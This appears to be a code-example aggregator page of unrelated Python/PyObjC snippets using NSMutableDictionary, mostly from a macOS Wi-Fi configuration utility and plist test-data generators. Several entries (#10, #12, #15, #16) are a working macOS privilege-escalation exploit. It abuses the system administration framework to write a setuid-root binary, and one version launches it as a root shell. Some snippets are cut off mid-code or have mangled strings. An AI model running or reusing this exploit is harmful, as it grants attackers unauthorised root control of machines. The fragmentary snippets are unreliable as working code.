示例#1
0
def createRecentNetwork(networkDict):
  path = '/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist'
  # Set to root as the owner for good measure
  uid = 0
  gid = 80
  if os.path.exists(path):
    plist = NSMutableDictionary.dictionaryWithContentsOfFile_(path)
  else:
    plist = NSMutableDictionary.alloc().init()
  port = getPlatformPortName()
  # Check for non-existant keys
  if not port in plist.keys():
    plist[port] = {}
  # Make sure the Array is there
  if not 'RecentNetworks' in plist[port].keys():
    plist[port]['RecentNetworks'] = []  
  _RecentNetworks = {}
  _RecentNetworks['SSID_STR'] = networkDict['ssid']
  _RecentNetworks['SecurityType'] = networkDict['sect']
  _RecentNetworks['Unique Network ID'] = networkDict['guid']
  _RecentNetworks['Unique Password ID'] = networkDict['keyc']
  plist[port]['RecentNetworks'].append(_RecentNetworks)
  exportFile = path
  plist.writeToFile_atomically_(exportFile,True)
  try:
    os.chown(path,uid,gid)
  except:
     print 'Path not found %s' % path
示例#2
0
def createKnownNetwork(networkDict):
  print 'Creating KnownNetworks entry'
  # There were some MacBook Airs that shipped with 10.5
  path = '/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist'
  # Set to root as the owner for good measure
  uid = 0 
  gid = 80
  if os.path.exists(path):
    plist = NSMutableDictionary.dictionaryWithContentsOfFile_(path)
  else:
    plist = NSMutableDictionary.alloc().init()
  plist['KnownNetworks'] = {} 
  guid = networkDict['guid']
  plist['KnownNetworks'][guid] = {}
  plist['KnownNetworks'][guid]['SSID_STR'] = networkDict['ssid'] 
  plist['KnownNetworks'][guid]['Remembered channels'] = [networkDict['chan'],]
  plist['KnownNetworks'][guid]['SecurityType'] = networkDict['sect'] 
  # If we are adding a non WPA2 Enterprise network add the keychain item
  if networkDict['type'] == 'WPA2':
    plist['KnownNetworks'][guid]['Unique Password ID'] = networkDict['keyc']
  plist['KnownNetworks'][guid]['_timeStamp'] = NSDate.date()
  exportFile = path
  plist.writeToFile_atomically_(exportFile,True)
  try:
    os.chown(path,uid,gid)
  except:
    print 'Path not found %s' % path
示例#3
0
def deleteUsersEAPProfile(networkName):
  users = '/var/db/dslocal/nodes/Default/users'
  listing = os.listdir(users)
  for plist in listing:
      # Hardware test for Air
      excluded = re.compile("^((?!^_|root|daemon|nobody|com.apple.*).)*$")
      if excluded.match(plist):
        plistPath = '%s/%s' % (users,plist)
        print 'Processing: %s' % plistPath
        user = NSDictionary.dictionaryWithContentsOfFile_(plistPath)
        try:
          uid = int(user['uid'][0])
          gid = int(user['gid'][0])
          for home in user['home']:
            profile = home + '/Library/Preferences/com.apple.eap.profiles.plist'
            print 'Processing profile: %s' % profile
            # Profile
            if os.path.exists(profile):
              profileFile = NSMutableDictionary.dictionaryWithContentsOfFile_(profile)
              profileByHost = home + '/Library/Preferences/ByHost/com.apple.eap.bindings.%s.plist' % getPlatformUUID()
              if os.path.exists(profileByHost):
                print 'Updating File: %s' % profileByHost
                profileByHostFile = NSMutableDictionary.dictionaryWithContentsOfFile_(profileByHost) 
                # Make a copy for enumeration
                copy = NSDictionary.dictionaryWithDictionary_(profileByHostFile)
                # Multiple MAC Addresses may exist
                for mac in copy:
                  index = 0
                  for key in copy[mac]:
                    if key['Wireless Network'] == networkName:
                      UniqueIdentifier = key['UniqueIdentifier']
                      print 'Found Network with Identifier: %s' % UniqueIdentifier
                      # Delete the entry and update the file
                      del profileByHostFile[mac][index]
                      writePlist(profileByHostFile,profileByHost)
                      try:
                        os.chown(profileByHost,uid,gid)
                      except:
                        print 'Path not found: %s' % profileByHost
                      profileFileCopy = NSDictionary.dictionaryWithDictionary_(profileFile)
                      profileIndex = 0
                      print '-' * 80
                      for key in profileFileCopy['Profiles']:
                        if key['UniqueIdentifier'] == UniqueIdentifier:
                          print 'Found network: %s' % key['UserDefinedName']
                          # Delete the entry and update the file
                          del profileFile['Profiles'][index]
                          writePlist(profileFile,profile)
                          os.chown(profile,uid,gid)  
                      profileIndex += 1
                    index += 1   
              else:
                print 'File not found: %s' % profileByHost
            else:
              print 'Profile file: %s does not exist' % profile
        except KeyError:
          print 'User plist %s does not have a home key' % plistPath
示例#4
0
def leopardRemoveWireless(networkName):
  plistPath = '/Library/Preferences/SystemConfiguration/preferences.plist'
  # Sanity checks for the plist
  if os.path.exists(plistPath):
    try:
      pl = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
    except:
      print 'Unable to parse file at path: %s' % plistPath
      sys.exit(1)
  else:
    print 'File does not exist at path: %s' % plistPath
    sys.exit(1)
  print 'Processing preference file: %s' % plistPath
  # Create a copy of the dictionary due to emuration
  copy = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  # Iterate through network sets
  for Set in copy['Sets']:
    UserDefinedName = copy['Sets'][Set]['UserDefinedName']
    print 'Processing location: %s' % UserDefinedName

    for enX in copy['Sets'][Set]['Network']['Interface']:
      print 'Processing interface: %s' % enX
      # I think this will always be a single key but this works either way
      for key in copy['Sets'][Set]['Network']['Interface'][enX]:
        print 'Processing Service: %s' % key
        # Try to grab the PreferredNetworks key if any
        try:
          # Iterate through preferred network sets
          index = 0
          for PreferredNetwork in copy['Sets'][Set]['Network']['Interface'][enX][key]['PreferredNetworks']:
            SSID_STR = PreferredNetwork['SSID_STR']
            print 'Processing SSID: %s' % SSID_STR
            # If the preferred network matches our removal SSID
            if SSID_STR == networkName:
              print 'Found SSID %s to remove' % SSID_STR
              # Delete our in ram copy
              print 'Processing Set: %s' % Set
              print 'Processing enX: %s' % enX
              print 'Processing key: %s' % key
              try:
                print 'Attempting delete of Set: %s for Interface:%s Named:%s Index:%d' % (Set,enX,key,index) 
                del pl['Sets'][Set]['Network']['Interface'][enX][key]['PreferredNetworks'][index]
                print 'Deleted set: %s' % Set
              except IndexError:
                print 'Unable to remove Received Out of bounds error for index %d' % index
            index += 1
        except KeyError:
           print 'Skipping interface without PreferredNetworks'
  # Make a copy of plist
  shutil.copy(plistPath,plistPath + '.old')

  # Write the plist to a file
  writePlist(pl,plistPath)
  removeKnownNetwork(networkName)
  deleteUsersKeychainPassword(networkName)
  deleteUsersEAPProfile(networkName)
示例#5
0
def genSnowProfile(networkDict):
  # EAPClientConfiguration
  AcceptEAPTypes = []
  _AcceptEAPTypes = networkDict['eapt'] 
  AcceptEAPTypes = [_AcceptEAPTypes] 

  EAPClientConfiguration = {}
  EAPClientConfiguration['AcceptEAPTypes'] = AcceptEAPTypes
  EAPClientConfiguration['UserName'] = networkDict['user'] 
  EAPClientConfiguration['UserPasswordKeychainItemID'] = networkDict['keyc'] 

  # UserProfiles
  UserProfiles = []
  _UserProfiles = {}
  _UserProfiles['ConnectByDefault'] = True
  _UserProfiles['EAPClientConfiguration'] = EAPClientConfiguration
  _UserProfiles['UniqueIdentifier'] = networkDict['keyc'] 
  _UserProfiles['UserDefinedName'] = '%s-%s' % (networkDict['ssid'],networkDict['user'])
  _UserProfiles['Wireless Network'] = networkDict['ssid'] 
  UserProfiles = [_UserProfiles]

  # 8021X
  plist = NSMutableDictionary.alloc().init()
  _8021X = {}
  _8021X['UserProfiles'] = UserProfiles
  plist['8021X'] = _8021X
  print plist
  exportFile = '/tmp/.importme.networkconnect'
  plist.writeToFile_atomically_(exportFile,True)
  return exportFile
示例#6
0
def createEAPBinding(path,uid,gid,networkDict):
  macAddress = getAirportMac()
  if os.path.exists(path):
    plist = NSMutableDictionary.dictionaryWithContentsOfFile_(path)
  else:
    plist = NSMutableDictionary.alloc().init()
  plist[macAddress] = []
  _item = {}
  _item['UniqueIdentifier'] = networkDict['keyc']
  _item['Wireless Network'] = networkDict['ssid'] 
  plist[macAddress].append(_item)
  exportFile = path
  plist.writeToFile_atomically_(exportFile,True)
  try:
    os.chown(path,uid,gid)
  except:
    print 'Path not found %s' % path
示例#7
0
def removeKnownNetwork(networkName):
  plistPath = '/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist'
  # Sanity check to make sure preferences are the there.
  if os.path.exists(plistPath):
    pl = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  else:
    return 1
  # Copy the dictionary for mutation during enumeration
  copy = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  # 10.7 style
  try:
    index = 0
    for key in copy['RememberedNetworks']:
      name = pl['RememberedNetworks'][index]['SSIDString']
      if name == networkName:
        print 'Found %s at index %d' % (name,index)
        del pl['RememberedNetworks'][index]
      index += 1
  except:
    print 'Key RememberedNetworks not found'
  # 10.5 Style
  # Clean up KnownNetworks key
  try:
    for guid in copy['KnownNetworks'].keys():
      if copy['KnownNetworks'][guid]['SSID_STR'] == networkName:
        del pl['KnownNetworks'][guid]
  except:
    print 'Key KnownNetworks not found'
  # Clean up top level key
  port = getPlatformPortName()
  # There were some MacBook Airs that shipped with 10.5

  try:
    if port in copy.keys():
      index = 0
      try:
        for key in copy[port]['RecentNetworks']:
          if key['SSID_STR'] == networkName:
            del pl[port]['RecentNetworks'][index]
          index += 1
      except:
         print 'No key RecentNetworks'
  except:
    print 'Unable to cleanup %s' % port
  writePlist(pl,plistPath)
示例#8
0
def createEAPProfile(path,uid,gid,networkDict): 
  if os.path.exists(path):
    plist = NSMutableDictionary.dictionaryWithContentsOfFile_(path)
  else:
    plist = NSMutableDictionary.alloc().init()
  plist['Profiles'] = [] 
  # item entry
  _Profiles = {}
  # EAPClientConfiguration
  EAPClientConfiguration = {}
  AcceptEAPTypes = []
  _AcceptEAPTypes = networkDict['eapt'] 
  AcceptEAPTypes = [_AcceptEAPTypes]

  # Top Level EAPClientConfiguration keys
  EAPClientConfiguration['AcceptEAPTypes'] = AcceptEAPTypes
  EAPClientConfiguration['Description'] = 'Automatic'
  EAPClientConfiguration['EAPFASTProvisionPAC'] = True
  EAPClientConfiguration['EAPFASTUsePAC'] = True
  EAPClientConfiguration['TLSVerifyServerCertificate'] = False
  EAPClientConfiguration['TTLSInnerAuthentication'] = networkDict['iath']
  EAPClientConfiguration['UserName'] = networkDict['user'] 
  EAPClientConfiguration['UserPasswordKeychainItemID'] = networkDict['keyc']
  
  if not osVersion['minor'] == LEOP:
    EAPClientConfiguration['Wireless Security'] = networkDict['type'] 

  # Top Level item keys
  _Profiles['EAPClientConfiguration'] = EAPClientConfiguration
  _Profiles['UniqueIdentifier'] = networkDict['keyc'] 
  _Profiles['UserDefinedName'] = 'WPA: %s' % networkDict['ssid']
  
  if not osVersion['minor'] == LEOP: 
    _Profiles['Wireless Security'] = networkDict['type'] 

  # Merge the data with current plist
  plist['Profiles'].append(_Profiles)
  exportFile = path
  plist.writeToFile_atomically_(exportFile,True)
  try: 
    os.chown(path,uid,gid)
  except:
    print 'Path not found %s' % path
示例#9
0
def genLionProfile(networkDict={}):
  plist = NSMutableDictionary.alloc().init()

  # EAPClientConfiguration
  AcceptEAPTypes = []
  _AcceptEAPTypes = networkDict['eapt'] 
  AcceptEAPTypes = [_AcceptEAPTypes] 

  tlsTrustedServerNames = []

  EAPClientConfiguration = {}
  EAPClientConfiguration['AcceptEAPTypes'] = AcceptEAPTypes
  EAPClientConfiguration['TTLSInnerAuthentication'] = networkDict['iath']
  EAPClientConfiguration['UserName'] = networkDict['user'] 
  EAPClientConfiguration['UserPassword'] = networkDict['pass']
  EAPClientConfiguration['tlsTrustedServerNames'] = tlsTrustedServerNames 

  # PayloadContent
  PayloadContent = []
  _PayloadContent = {}
  _PayloadContent['AuthenticationMethod'] = ''
  _PayloadContent['EAPClientConfiguration'] = EAPClientConfiguration
  _PayloadContent['EncryptionType'] = 'WPA'
  _PayloadContent['HIDDEN_NETWORK'] = False
  _PayloadContent['Interface'] = 'BuiltInWireless'
  _PayloadContent['PayloadDisplayName'] = '%s-%s' % (networkDict['ssid'],networkDict['user']) 
  _PayloadContent['PayloadEnabled'] = True
  _PayloadContent['PayloadIdentifier'] = '%s.%s.alacarte.interfaces.%s' % (networkDict['mdmh'],networkDict['puid'],networkDict['suid'])
  _PayloadContent['PayloadType'] = 'com.apple.wifi.managed'
  _PayloadContent['PayloadUUID'] = networkDict['suid'] 
  _PayloadContent['PayloadVersion'] = 1
  _PayloadContent['SSID_STR'] = networkDict['ssid'] 
  PayloadContent = [_PayloadContent]

  plist['PayloadContent'] = PayloadContent
  plist['PayloadDisplayName'] = networkDict['orgn'] 
  plist['PayloadIdentifier'] = '%s.%s.alacarte' % (networkDict['mdmh'],networkDict['puid'])
  plist['PayloadOrganization'] = networkDict['orgn'] 
  plist['PayloadRemovalDisallowed'] = False
  plist['PayloadScope'] = networkDict['scop']  
  plist['PayloadType'] = 'Configuration'
  plist['PayloadUUID'] = networkDict['puid'] 
  plist['PayloadVersion'] = 1
  
  # Show the plist on debug
  if(debugEnabled):print plist
  exportFile = '/tmp/.%s-%s.mobileconfig' % (networkDict['user'],networkDict['ssid'])
  plist.writeToFile_atomically_(exportFile,True)
  return exportFile        
示例#10
0
    def verify(cls, args):
        source_binary = args['options']['target']
        dest_binary = os.path.realpath(args['options']['dest_binary'])

        if not os.path.exists(source_binary):
            raise Exception("file does not exist!")

        pool = NSAutoreleasePool.alloc().init()

        attr = NSMutableDictionary.alloc().init()
        attr.setValue_forKey_(04777, NSFilePosixPermissions)
        data = NSData.alloc().initWithContentsOfFile_(source_binary)

        print "[*] will write file", dest_binary

        if cls.use_old_api():
            adm_lib = cls.load_lib("/Admin.framework/Admin")
            Authenticator = objc.lookUpClass("Authenticator")
            ToolLiaison = objc.lookUpClass("ToolLiaison")
            SFAuthorization = objc.lookUpClass("SFAuthorization")

            authent = Authenticator.sharedAuthenticator()
            authref = SFAuthorization.authorization()

            # authref with value nil is not accepted on OS X <= 10.8
            authent.authenticateUsingAuthorizationSync_(authref)
            st = ToolLiaison.sharedToolLiaison()
            tool = st.tool()
            tool.createFileWithContents_path_attributes_(
                data, dest_binary, attr)
        else:
            adm_lib = cls.load_lib(
                "/SystemAdministration.framework/SystemAdministration")
            WriteConfigClient = objc.lookUpClass("WriteConfigClient")
            client = WriteConfigClient.sharedClient()
            client.authenticateUsingAuthorizationSync_(None)
            tool = client.remoteProxy()

            tool.createFileWithContents_path_attributes_(
                data, dest_binary, attr, 0)

        print "[+] Done!"
        del pool
        args['success'] = True
        args['poc_ret']['dest_binary'] = dest_binary
        return args
示例#11
0
def addPreferredNetwork(networkDict):
  path = '/Library/Preferences/SystemConfiguration/preferences.plist'
  plist = NSMutableDictionary.dictionaryWithContentsOfFile_(path)
  for _Sets in plist['Sets'].keys():
    for Interface in plist['Sets'][_Sets]['Network']['Interface'].keys():
      if 'AirPort' in plist['Sets'][_Sets]['Network']['Interface'][Interface].keys():
        if not 'PreferredNetworks' in plist['Sets'][_Sets]['Network']['Interface'][Interface]['AirPort'].keys(): 
          plist['Sets'][_Sets]['Network']['Interface'][Interface]['AirPort']['PreferredNetworks'] = []
      _PreferredNetworks = {} 
      _PreferredNetworks['SSID_STR'] = networkDict['ssid']
      _PreferredNetworks['SecurityType'] = networkDict['sect']
      _PreferredNetworks['Unique Network ID'] = networkDict['guid'] 
      # Add keychain item reference if not 802.1x or Open
      if networkDict['type'] == 'WPA2':
        _PreferredNetworks['Unique Password ID'] = networkDict['keyc']

      plist['Sets'][_Sets]['Network']['Interface'][Interface]['AirPort']['PreferredNetworks'].append(_PreferredNetworks)
    plist.writeToFile_atomically_(path,True)
示例#12
0
    def verify(cls, args):
        source_binary = args['options']['target']
        dest_binary = os.path.realpath(args['options']['dest_binary'])

        if not os.path.exists(source_binary):
            raise Exception("file does not exist!")

        pool = NSAutoreleasePool.alloc().init()

        attr = NSMutableDictionary.alloc().init()
        attr.setValue_forKey_(04777, NSFilePosixPermissions)
        data = NSData.alloc().initWithContentsOfFile_(source_binary)

        print "[*] will write file", dest_binary

        if cls.use_old_api():
            adm_lib = cls.load_lib("/Admin.framework/Admin")
            Authenticator = objc.lookUpClass("Authenticator")
            ToolLiaison = objc.lookUpClass("ToolLiaison")
            SFAuthorization = objc.lookUpClass("SFAuthorization")

            authent = Authenticator.sharedAuthenticator()
            authref = SFAuthorization.authorization()

            # authref with value nil is not accepted on OS X <= 10.8
            authent.authenticateUsingAuthorizationSync_(authref)
            st = ToolLiaison.sharedToolLiaison()
            tool = st.tool()
            tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
        else:
            adm_lib = cls.load_lib("/SystemAdministration.framework/SystemAdministration")
            WriteConfigClient = objc.lookUpClass("WriteConfigClient")
            client = WriteConfigClient.sharedClient()
            client.authenticateUsingAuthorizationSync_(None)
            tool = client.remoteProxy()

            tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

        print "[+] Done!"
        del pool
        args['success'] = True
        args['poc_ret']['dest_binary'] = dest_binary
        return args
def main():
    pl = OrderedDict()

    seconds = datetime.datetime(2004, 10, 26, 10, 33, 33, tzinfo=datetime.timezone(datetime.timedelta(0))).timestamp()
    pl[nsstr('aDate')] = NSDate.dateWithTimeIntervalSince1970_(seconds)

    pl[nsstr('aDict')] = d = OrderedDict()
    d[nsstr('aFalseValue')] = False
    d[nsstr('aTrueValue')] = True
    d[nsstr('aUnicodeValue')] = "M\xe4ssig, Ma\xdf"
    d[nsstr('anotherString')] = "<hello & 'hi' there!>"
    d[nsstr('deeperDict')] = dd = OrderedDict()
    dd[nsstr('a')] = 17
    dd[nsstr('b')] = 32.5
    dd[nsstr('c')] = a = NSMutableArray.alloc().init()
    a.append(1)
    a.append(2)
    a.append(nsstr('text'))

    pl[nsstr('aFloat')] = 0.5

    pl[nsstr('aList')] = a = NSMutableArray.alloc().init()
    a.append(nsstr('A'))
    a.append(nsstr('B'))
    a.append(12)
    a.append(32.5)
    aa = NSMutableArray.alloc().init()
    a.append(aa)
    aa.append(1)
    aa.append(2)
    aa.append(3)

    pl[nsstr('aString')] = nsstr('Doodah')

    pl[nsstr('anEmptyDict')] = NSMutableDictionary.alloc().init()

    pl[nsstr('anEmptyList')] = NSMutableArray.alloc().init()

    pl[nsstr('anInt')] = 728

    pl[nsstr('nestedData')] = a = NSMutableArray.alloc().init()
    a.append(b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03''')


    pl[nsstr('someData')] = b'<binary gunk>'

    pl[nsstr('someMoreData')] = b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03'''

    pl[nsstr('\xc5benraa')] = nsstr("That was a unicode key.")

    print("TESTDATA={")
    for fmt_name, fmt_key in FORMATS:
        data, error = NSPropertyListSerialization.dataWithPropertyList_format_options_error_(
            pl, fmt_key, 0, None)
        if data is None:
            print("Cannot serialize", fmt_name, error)

        else:
            print("    %s: binascii.a2b_base64(b'''\n        %s'''),"%(fmt_name, _encode_base64(bytes(data)).decode('ascii')[:-1]))

    print("}")
    print()
示例#14
0
def leopardAddWireless(networkDict={}):
  plistPath = '/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist'
  # Sanity check to make sure preferences are the there.
  if os.path.exists(plistPath):
    pl = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  # Copy the dictionary for mutation during enumeration
  copy = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  # 10.5 Style
  # Grab UUID if already in network list 
  found = False
  print 'Checking for existing Keychain GUID in KnownNetworks'
  try:
    for key in copy['KnownNetworks'].keys():
      if copy['KnownNetworks'][key]['SSID_STR'] == networkDict['ssid']:
        networkDict['guid'] = copy['KnownNetworks'][key]['Unique Password ID']
        print 'Found existing reference to wireless password guid: %s' % networkDict['guid']
        found = True
  except:
    print 'Key KnownNetworks not found'
  # If this not an OPEN network then add keychain
  # Updated to not add blank keychain entry for Open networks
  if 'pass' in networkDict.keys() and not networkDict['type'] == "OPEN":
    """ Removing Keychain entries for system due to bug in 10.5 """
    #print 'Network has password generating keychain arguments...'
    #keychain = '/Library/Keychains/System.keychain'
    #arguments = [security,
    #             "add-generic-password",
    #             '-a',
    #             networkDict['ssid'],
    #             '-l',
    #             networkDict['ssid'],
    #             '-D',
    #             'AirPort network password',
    #             '-s',
    #              networkDict['guid'],
    #             '-w',
    #             networkDict['pass'],
    #             '-T',
    #             'group://Aiport',
    #             '-T',
    #             '/System/Library/CoreServices/SystemUIServer.app',
    #             '-T',
    #             '/Applications/System Preferences.app',
    #             '-T',
    #             '/usr/libexec/airportd',
    #             keychain]
    #addKeychainPassword(arguments)
    users = '/var/db/dslocal/nodes/Default/users'
    listing = os.listdir(users)
    for plist in listing:
        # Hardware test for Air
        excluded = re.compile("^((?!^_|root|daemon|nobody|com.apple.*).)*$")
        if excluded.match(plist):
          plistPath = '%s/%s' % (users,plist)
          print 'Processing: %s' % plistPath
          user = NSDictionary.dictionaryWithContentsOfFile_(plistPath)
          try:
            uid = int(user['uid'][0])
            gid = int(user['gid'][0])
            for home in user['home']:
              keychain = home + '/Library/Keychains/login.keychain'
              print 'Processing keychain: %s' % keychain
              if os.path.exists(keychain):
                # -U causing segmentation fault, removed sudo
                if user['name'][0] == getConsoleUser():
                  arguments = [security,
                            "add-generic-password",
                            '-a',
                            networkDict['ssid'],
                            '-l',
                            networkDict['ssid'],
                            '-D',
                            'AirPort network password',
                            '-s',
                            'AirPort Network',
                            '-w',
                            networkDict['pass'],
                            '-T',
                            'group://Aiport',
                            '-T',
                            '/System/Library/CoreServices/SystemUIServer.app',
                            '-T',
                            '/Applications/System Preferences.app',
                            keychain]
                  addKeychainPassword(arguments)
                  arguments = [kcutil,
                               user['home'][0],
                               user['name'][0],
                               networkDict['pass'],
                               configFile]
                  addKeychainPassword(arguments)
                  try:
                    os.chown(keychain,uid,gid)
                  except:
                    print 'Path not found: %s' % keychain
                else:
                  print 'Keychain file: %s does not exist' % keychain
          except:
            print 'User plist %s does not have a home key' % plistPath
  else:
    print 'No password is specified, skipping keychain actions'
  port = 'Airport'
  if networkDict['type'] == 'WPA2 Enterprise':
    createKnownNetwork(networkDict)
    createRecentNetwork(networkDict)
    addUsersEAPProfile(networkDict)
    createLeopEAPkeychainEntry(networkDict)
    addPreferredNetwork(networkDict)
  else:
    # We can automatically connect to WPA PSK type networks
    leopardRemoveWireless(networkDict['ssid'])
    connectToNewNetwork(port,networkDict)
args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
示例#16
0
    def run(self):
        try:

            source_binary = self.options.get("src_file")[1]
            dest_binary = self.options.get("des_file")[1]

            if source_binary == None \
                    or source_binary == "" \
                    or dest_binary == None \
                    or dest_binary == "":
                self.print_error(
                    "It's mandatory to specify a source file and a destination file!!"
                )
                return

            if not os.path.exists(source_binary):
                self.print_error("File does not exist!")
                return

            if os.path.exists(dest_binary):
                self.print_error(
                    "Destination file already exists. Use another name or remove/rename the original file!"
                )
                return

            pool = NSAutoreleasePool.alloc().init()

            attr = NSMutableDictionary.alloc().init()
            attr.setValue_forKey_(0o04777, NSFilePosixPermissions)
            data = NSData.alloc().initWithContentsOfFile_(source_binary)

            self.print_info("will write file " + dest_binary)

            if self.use_old_api():
                adm_lib = self.load_lib("/Admin.framework/Admin")
                Authenticator = objc.lookUpClass("Authenticator")
                ToolLiaison = objc.lookUpClass("ToolLiaison")
                SFAuthorization = objc.lookUpClass("SFAuthorization")

                authent = Authenticator.sharedAuthenticator()
                authref = SFAuthorization.authorization()

                # authref with value nil is not accepted on OS X <= 10.8
                authent.authenticateUsingAuthorizationSync_(authref)
                st = ToolLiaison.sharedToolLiaison()
                tool = st.tool()
                tool.createFileWithContents_path_attributes_(
                    data, dest_binary, attr)
            else:
                adm_lib = self.load_lib(
                    "/SystemAdministration.framework/SystemAdministration")
                WriteConfigClient = objc.lookUpClass("WriteConfigClient")
                client = WriteConfigClient.sharedClient()
                client.authenticateUsingAuthorizationSync_(None)
                tool = client.remoteProxy()

                tool.createFileWithContents_path_attributes_(
                    data, dest_binary, attr, 0)

            self.print_ok("Done!")

            del pool

            while not os.path.exists(dest_binary):
                self.print_info("Waiting file creation...")
                time.sleep(1)

            self.print_ok("Returning root whell at: " + dest_binary)
            subprocess.call(dest_binary)

        except OSError as e:
            if e.errno == os.errno.ENOENT:
                print("Sorry, iSelect binary - Not found!")
            else:
                print("Error executing exploit")
            raise
示例#17
0
def main():
  global debugEnabled
  debugEnabled = False
  # Check for envrionmental variables 
  try:
    userName = os.environ['USER_NAME']
  except KeyError:
    userName = ''
  try:
    userPass = os.environ['PASS_WORD']
  except KeyError:
    userPass = ''

  # Process Arguments
  if(debugEnabled): print 'Processing Arguments: ', sys.argv[1:]
  try:
    options, remainder = getopt.getopt(sys.argv[1:], 'u:p:f:d', ['username='******'password='******'plist=',
                                                         'debug'
                                                         ])
  except getopt.GetoptError:
    print "Syntax Error!"
    return 1

  for opt, arg in options:
    if opt in ('-u', '--username'):
      userName = arg 
    elif opt in ('-p', '--password'):
      userPass = arg
    elif opt in ('-f', '--plist'):
      plistPath = arg
    elif opt in ('-d', '--debug'):
      debugEnabled = True

  # Sanity Checks
  if len(options) < 1:
    showUsage()
    print '--> Not enough options given' 
    return 1

  # Check the current directory
  if os.path.exists('wifiutil.settings.plist'):
    plistPath = 'wifiutil.settings.plist'
  try:
    plistPath
  except UnboundLocalError:
    showUsage()
    print '--> You must specify a plist path.'
    return 1

  if os.path.exists(plistPath):
    plist = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
  else:
    print 'File does not exist: %s' % plistPath
    return 1
  global configFile
  configFile = plistPath
  # Get OS Version
  global osVersion
  osVersion = getSystemVersion()

  # Disconnect from wireless
  toggleAirportPower('off')

  # Check for Networks to remove
  if 'networkRemoveList' in plist.keys():
    networkRemoveList = plist['networkRemoveList']
    # Loop through our remove list
    for network in networkRemoveList:
      # Process os specific directives 
      removeWireless(osVersion,network)
  else:
    print 'No networks specified to remove'

  # Check for Networks to Add
  if 'networkAddList' in plist.keys():
    networkAddList    = plist['networkAddList']
    # Loop through our add list
    for networkDict in networkAddList:
      # Add our username and password to the config
      if 'user' not in networkDict.keys():
        networkDict['user'] = userName 
      if 'pass' not in networkDict.keys():
        networkDict['pass'] = userPass
      # Remove the password for OPEN network
      if networkDict['type'] == 'OPEN':
        del networkDict['pass']

        # Generate our wireless & keychain entry guids, not recommended
	if not 'guid' in networkDict.keys():
          networkDict['guid'] = str(uuid.uuid1()).upper()
	if not 'keyc' in networkDict.keys():
          networkDict['keyc'] = str(uuid.uuid1()).upper()
      # Process os specific directives 
      addWireless(osVersion,networkDict)
  else:
    print 'No networks specified to add'
  # Restore Airport Power
  toggleAirportPower('on')
#/usr/bin/python

"""
  This script is designed as a pre-build step for iOS Xcode projects. To use it, do the following:
  1. Create a new pre-build step
  2. Set the Shell field to "/usr/bin/python"
  3. Select your target in "Provide build settings from"
  4. Copy everything below the hash line into the input box

  This script should be accompanied by the post-build step in post-build.py
"""
###############################################
import os
import datetime
from Cocoa import NSMutableDictionary
plistPath = "%(s)s/%(n)s/%(n)s-Info.plist" % {'s': os.getenv('SRCROOT'), 'n': os.getenv('PRODUCT_NAME')}
info = NSMutableDictionary.dictionaryWithContentsOfFile_(plistPath)
now = datetime.datetime.now()
bundleVersion = "%.4d%.2d%.2d.%.2d%.2d" % (now.year, now.month, now.day, now.hour, now.minute)
info['CFBundleVersion'] = bundleVersion
os.rename(plistPath, "%s.temp" % plistPath)
info.writeToFile_atomically_(plistPath, True)

def main():
    pl = OrderedDict()

    # Note: pl is an OrderedDict to control the order
    # of keys, and hence have some control on the structure
    # of the output file.
    # New keys should be added in alphabetical order.

    seconds = datetime.datetime(2004, 10, 26, 10, 33, 33, tzinfo=datetime.timezone(datetime.timedelta(0))).timestamp()
    pl[nsstr('aBigInt')] = 2 ** 63 - 44
    pl[nsstr('aBigInt2')] = NSNumber.numberWithUnsignedLongLong_(2 ** 63 + 44)
    pl[nsstr('aDate')] = NSDate.dateWithTimeIntervalSince1970_(seconds)

    pl[nsstr('aDict')] = d = OrderedDict()
    d[nsstr('aFalseValue')] = False
    d[nsstr('aTrueValue')] = True
    d[nsstr('aUnicodeValue')] = "M\xe4ssig, Ma\xdf"
    d[nsstr('anotherString')] = "<hello & 'hi' there!>"
    d[nsstr('deeperDict')] = dd = OrderedDict()
    dd[nsstr('a')] = 17
    dd[nsstr('b')] = 32.5
    dd[nsstr('c')] = a = NSMutableArray.alloc().init()
    a.append(1)
    a.append(2)
    a.append(nsstr('text'))

    pl[nsstr('aFloat')] = 0.5

